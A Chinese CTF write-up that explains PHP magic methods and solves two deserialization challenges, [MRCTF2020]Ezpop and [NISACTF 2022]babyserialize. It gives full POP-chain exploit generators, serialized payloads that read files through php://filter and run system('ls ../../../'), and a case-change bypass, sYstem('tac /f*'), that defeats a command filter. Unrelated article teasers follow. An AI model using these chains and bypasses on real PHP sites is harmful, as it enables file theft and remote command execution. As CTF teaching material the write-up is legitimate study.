关于ctf反序列化题的一些见解([MRCTF2020]Ezpop以及[NISACTF 2022]babyserialize)

这里对php反序列化做简单了解

在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变

如果想要将已序列化的字符串变回 PHP 的值,可使用用unserialize()

当在反序列化后不同的变量和引用方法会调出不同的php魔法函数

php魔法函数

__wakeup():在执行unserialize时,会最先调用这个函数

__sleep():在执行serialize时,会最先调用这个函数

__destruct():当对象被销毁时会调用这个函数

__call():当对象在上下文中调用不可访问或不存在的方法时调用

__callStatic():在静态上下文中嗲用不可访问或者不存在的方法时调用
__get():当访问不存在或没有权限的对象或键值时调用
__isset():在不可访问的属性上调用isset()时调用
__unset():在不可访问的属性上调用unset()时调用
__toString():当把对象(类)当作字符串调用时调用此函数
__invoke():尝试把对象作为函数使用时会调用

__construct():是类中的一种特殊函数,当使用new关键字实例化一个对象时函数将会调用

__set(): 当我们给一个不存在或不可访问的属性赋值时,PHP会自动调用__set方法。

[MRCTF2020]Ezpop

打开题目从整体来大致分析,pop来传参最后需要利用到定义好的append来包含文件文件

做这种题最终要的就是逆向分析,先找到需要利用的点,再一点一点往回推

将代码里的全部类都复制到php在线执行里,然后只留下类里的变量

例如:

在最开始提过,PHP中序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构,并且我们只需要去控制他的变量就好

####可以继续往下看后面再来慢慢理解

现在进行代码分析

modifier类里有变量var和两个函数

  1. 首先定义好了函数append,而append函数里就有我们需要利用的include函数
  2. 魔法函数__invoke里使用了append函数并且值是modifier类里的变量var

所以这里我们给var赋值我们想执行的命令然后想办法调用invoke

invoke() -> append()

invoke函数:当把变量当函数使用时调用

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

test类里有一个变量两个函数

  1. constuct函数并没有什么用,只是给p变量赋值
  2. get函数函数这里会给变量function函数赋值变量p,并且把变量function当函数引用

到这里get函数里return $function()把变量当函数用了,所以能调出__invoke()函数

get() --> invoke() --> append()

后面就得找怎么调用get函数

get函数:当访问不存在或者没有权限的变量或键值时调用

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

 show类里有两个变量三个函数

  1. construct并没有什么利用价值只是当有new实例化一个对象时会输出index.php的代码
  2. tostring当有类被当作字符串用时会调用并返回这个类里的str里的source变量
  3. wakeup当调用到unserialize时第一个调用,wakeup函数里有用到preg_match函数并且调用了source

这里就能利用到tostring()函数里的return $this->str->source这段,应为show类里变量str里没有source变量,所以这里返回了一个不存在的变量,这里就能调用到__get函数

tostring() --> get() --> invoke() --> append()

再然后需要调用到tostring()函数,而wakeup函数里刚好又要调用变量source当作字符串,那么就可以给变量source赋值一个类,那么不久可以调用到tostring函数了吗

wakeup() --> tostring() --> get() --> invoke() --> append()

wakeup函数再unserialieze时就会自动调用,所以到这里就完全解析完了

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

wakeup() --> tostring() --> get() --> invoke() --> append()

这里总结一下:用show类里的函数wakeup调出show类里的tostring函数,然后通过tostring函数调出test类里的get函数,get函数调出modifier类里的invoke函数最后调出我们需要用到的append

<?php
//wakeup() --> tostring() --> get() --> invoke() --> append()
//var变量里写入我们需要用的命令
class Modifier {
	//这里是应为他最开始以及直接告诉flag再flag.php了所以直接PHP伪协议去读
    protected  $var = 'php://filter/read=convert.base64-encode/resource=index.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
//把第一个要用的类new实例化一下
$a = new Show;
//wakeup() --> tostring()
$a->source=new Show;
//tostring() --> get()
$a->source->str=new Test;
//get() --> invoke()
$a->source->str->p=new Modifier;
//最后需要url编辑一下,不然怕识别不了
echo urlencode(serialize($a));
?>

payload: O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BN%3Bs%3A3%3A%22srt%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到flag

[NISACTF 2022]babyserialize

还是老样子,拿到题目先大致的看一下入侵点

这里能看到最后是利用到NISA类里的invoke函数里的eval,那么就可以从这里开始倒推

首先要知道我们需要调出invoke函数,就得找到那里有把对象当函数用的。

这里就用到了tostring函数,里面给$bb赋值了$su,所以$bb是一个变量,但是return的是$bb()返回的是函数,所以调用到了invoke

这里给$su=new NISA

tostring->invoke

现在找代码里那里有调用字符串的地方,看怎么调出tostring函数

这里的strtolower会以字符串的方式调用变量a把它变成全部小写

#####这里if里面的条件很奇怪,里面用的是一个等号=相当于是赋值,没理解到是什么意思,很容易让人误解

这里如果我们让$a=new Ilovetxw那么这里就调用了类当作字符串就可以调用Ilovetxw里的tostring函数

set->tostring->invoke

set函数需要给不存在或者权限不够的变量赋值时才会调用

这里能看到call函数里会给它自己里的huang变量里的fun变量赋值,而four里又刚好有一个处于保护状态的fun变量不能赋值

如果给Ilovetxw类里的huang变量赋值new four那么就达成了给没有权限的变量赋值的条件调用了set函数

call->set->tostring->invoke

call函数当引用不存在或者没权限的函数时会调用

这里能看到wakeup函数里会调用这个类里的ext变量里的nisa函数,但是这个类里的ext里时不存在nisa函数的

如果给ext赋值new Ilovetxw但是Ilovetxw类里依然没有nisa()这个函数所以这样就达成了引用call函数的条件,wakeup函数当unserialize执行时会自动调用所以不用管

wakeup->call->set->tostring->invoke

  1. 最后这里很重要这里似乎某个代码做了防护
  2. NISA类里的wakeup函数刚好又调用了hint函数,hint函数最后用注释提示了会直接退出

第一个问题可以后续慢慢尝试看过滤什么函数

第二个问题要执行hint函数首先得fun变量等于show_me_flag,在编写php代码的时候更改

这里我先给出我写的代码

####随便找一个php在线网站都可以编译

<?php
//wakeup->call->set->tostring->invoke
class NISA{
	//更改变量绕过执行hint
    public $fun="111";
	//赋值需要执行的命令
    public $txw4ever='system("ls ../../../")';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;

echo urlencode(serialize($a));
?>

payload:O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A22%3A%22system%28%22ls+..%2F..%2F..%2F%22%29%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

这里上传payload显示somenthing wrong

这里就触发了这里的提示说明使用的命令被拦了

尝试一下大小写绕过

最后的poc

<?php
//wakeup->call->set->tostring->invoke
class NISA{
	//更改变量绕过执行hint
    public $fun='111';
	//赋值需要执行的命令,这里用/f*是把所有f开头的看一遍
    public $txw4ever='sYstem("tac /f*")';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new TianXiWei;
//wakeup->call
$a->ext=new Ilovetxw;
//call->set
$a->ext->huang=new four;
//set->tostring
$a->ext->huang->a=new Ilovetxw;
//tostring->invoke
$a->ext->huang->a->su= new NISA;
echo urlencode(serialize($a));
?>

最后上传参数就能得到flag

总结:

像这种pop链的题一定要多练习多记,做多了就有感觉了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/246037.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

nvm--node版本管理详细安装和使用教程

1&#xff09;nvm是什么? nvm全英文也叫node.js version management&#xff0c;是一个nodejs的版本管理工具。nodejs是项目开发时所需要的代码库&#xff0c;nvm是nodejs版本管理工具&#xff0c;npm是nodejs包管理工具&#xff1b;nodejs能够使得javascript能够脱离浏览器运…

PyCharm连接远程服务器

要求&#xff1a;PyCharm专业版才支持远程服务 一、创建远程连接 先建立本地与远程服务器之间的SSH连接 1、配置连接 2、建立SSH连接&#xff0c;选择文件传输协议 SFTP 3、设置服务器名&#xff08;可以随意命名&#xff09; 4、配置 SSH连接 点击 172.18.1.202 配置…

Python爬取旅游网站热门景点信息的技术性文章

目录 一、引言 二、准备工作 三、爬取热门景点信息 1、分析网页结构 2、发送HTTP请求 3、解析HTML文档 4、提取所需信息 5、保存数据到文件或数据库 四、优化爬虫程序性能和效率 五、异常处理与日志记录 1、异常处理 2、日志记录 六、安全性与合法性考虑 七、总结…

【EI会议征稿】第五届机械仪表与自动化国际学术会议(ICMIA 2024)

第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09; The 5th International Conference on Mechanical Instrumentation and Automation 2024年第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09;定于2024年4月5-7日在中国武汉隆重…

Node.js 的适用场景

目录 前言 适用场景 1. 实时应用 用法 代码 理解 代码示例 理解 3. 微服务架构 用法 代码示例 理解 总结 前言 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境&#xff0c;它使得 JavaScript 可以脱离浏览器运行在服务器端。Node.js 的出现极大地扩展…

flink源码分析之功能组件(五)-高可用组件

简介 本系列是flink源码分析的第二个系列,上一个《flink源码分析之集群与资源》分析集群与资源,本系列分析功能组件,kubeclient,rpc,心跳,高可用,slotpool,rest,metrics,future。 本文解释高可用组件,包括两项服务,主节点选举和主节点变更通知* 高可用服务常见有两…

23.Java程序设计--基于SSM框架的移动端家庭客栈管理系统的设计与实现

第一章&#xff1a;引言 1.1 背景 客栈业务背景移动端应用需求增长趋势 1.2 研究动机 移动端管理系统的需求SSM框架的选择和优势 1.3 研究目的与意义 提高家庭客栈管理效率移动端解决方案的创新 第二章&#xff1a;相关技术和理论综述 2.1 SSM框架简介 Spring框架Spri…

翻译: ChatGPT Token消耗粗略计算英文就是除以四分之三

在这个视频中&#xff0c;我想带你快速浏览一些例子&#xff0c;以建立对在软件应用中使用大型语言模型的实际成本的直观感受。让我们来看看。这是一些示例价格&#xff0c;用于从不同的大型语言模型获取提示和回应&#xff0c;这些模型对开发者可用。即&#xff0c;如果你在你…

基于vue实现的疫情数据可视化分析及预测系统-计算机毕业设计推荐django

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性&#xff1a;…

flink中如何把DB大表的配置数据加载到内存中对数据流进行增强处理

背景 在处理flink的数据流时&#xff0c;比如处理商品流时&#xff0c;一般我们从kafka中只拿到了商品id&#xff0c;此时我们需要把商品的其他配置信息比如品牌品类等也拿到&#xff0c;此时就需要关联上外部配置表来达到丰富数据流的目的&#xff0c;如果外部配置表很大&…

gitlab下载安装

1.下载 官网rpm包 gitlab/gitlab-ce - Results in gitlab/gitlab-ce 国内镜像 Index of /gitlab-ce/yum/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 2.安装 rpm -ivh gitlab-ce-16.4.3-ce.0.el7.x86_64.rpm 3.配置 vim /etc/gitlab/gitlab.rb 将 externa…

【rabbitMQ】Exchanges交换机

上一篇&#xff1a;springboot整合rabbitMQ模拟简单收发消息 https://blog.csdn.net/m0_67930426/article/details/134904766 本篇代码基于上一篇继续写 目录 Fanout 交换机 1. add queue 2. add Exchange 3.绑定队列 Direct 交换机 1. add queue 2. add Exchange 3.…

Day60力扣打卡

打卡记录 1682分了记录下&#xff0c;希望下回能突破1700捏。作为一个菜鸟&#xff0c;知道自己很菜&#xff0c;一步步走到现在还是很开心的&#xff0c;从以前的周赛稳定1题到稳定2题&#xff0c;到现在的时有时无的3题。每次刷题都期盼有所长进&#xff0c;虽然更多的时候收…

如何看待「前端已死论」?

&#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall &#x1f343; vue3-element-admin &#x1f343; youlai-boot &#x1f33a; 仓库主页&#xff1a; Gitee &#x1f4ab; Github &#x1f4ab; GitCode &#x1f496; 欢迎点赞…

【深度学习目标检测】四、基于深度学习的抽烟识别(python,yolov8)

YOLOv8是一种物体检测算法&#xff0c;是YOLO系列算法的最新版本。 YOLO&#xff08;You Only Look Once&#xff09;是一种实时物体检测算法&#xff0c;其优势在于快速且准确的检测结果。YOLOv8在之前的版本基础上进行了一系列改进和优化&#xff0c;提高了检测速度和准确性。…

MacOS多屏状态栏位置不固定,程序坞不小心跑到副屏

目录 方式一&#xff1a;通过系统设置方式二&#xff1a;鼠标切换 MacOS多屏状态栏位置不固定&#xff0c;程序坞不小心跑到副屏 方式一&#xff1a;通过系统设置 先切换到左边 再切换到底部 就能回到主屏了 方式二&#xff1a;鼠标切换 我的两个屏幕放置位置如下 鼠标在…

【三视图】咒语 生成人物

revAnimated_v122.safetensors 杰作&#xff0c;最佳质量&#xff0c;角色设计&#xff0c;三视图&#xff0c;前视图&#xff0c;侧视图&#xff0c;后视觉&#xff0c;呆萌&#xff0c;可爱&#xff0c;简单的背景&#xff0c; (badhandv4:1.4),ng_deepnegative_v1_75t,negat…

OpenCV-Python15:图像阈值处理

目录 目标 图像阈值及分割算法介绍 简单阈值算法 自适应阈值算法 Otsus 二值化算法 Otsus 二值化原理 目标 通过本文你将学到图像二值化、简单阈值处理、自适应阈值、Otsus 二值化等。将学习的函数有cv2.threshold,cv2.adaptiveThreshold 等。 图像阈值及分割算法介…

实验06:VLAN配置

1.实验目的&#xff1a; VLAN&#xff08;Virtual Local Area Network&#xff09;是一种通过逻辑方式而不是物理方式划分局域网的技术&#xff0c;可以提高网络性能、安全性和管理效率。VLAN的划分方法有基于端口、基于MAC地址、基于协议和基于IP组播等。VLAN之间的通信需要路…

HPM6750系列--第七篇 Visual Studio Code使用openocd调试查看外设信息

一、目的 在《HPM6750系列--第四篇 搭建Visual Studio Code开发调试环境》我们已经手把手指导大家如何在visual studio code中进行开发&#xff0c;包括编译调试等步骤以及相关配置文件。 但是在实际调试时发现找不到芯片寄存器实时显示的窗口&#xff0c;本篇主要讲解如何实现…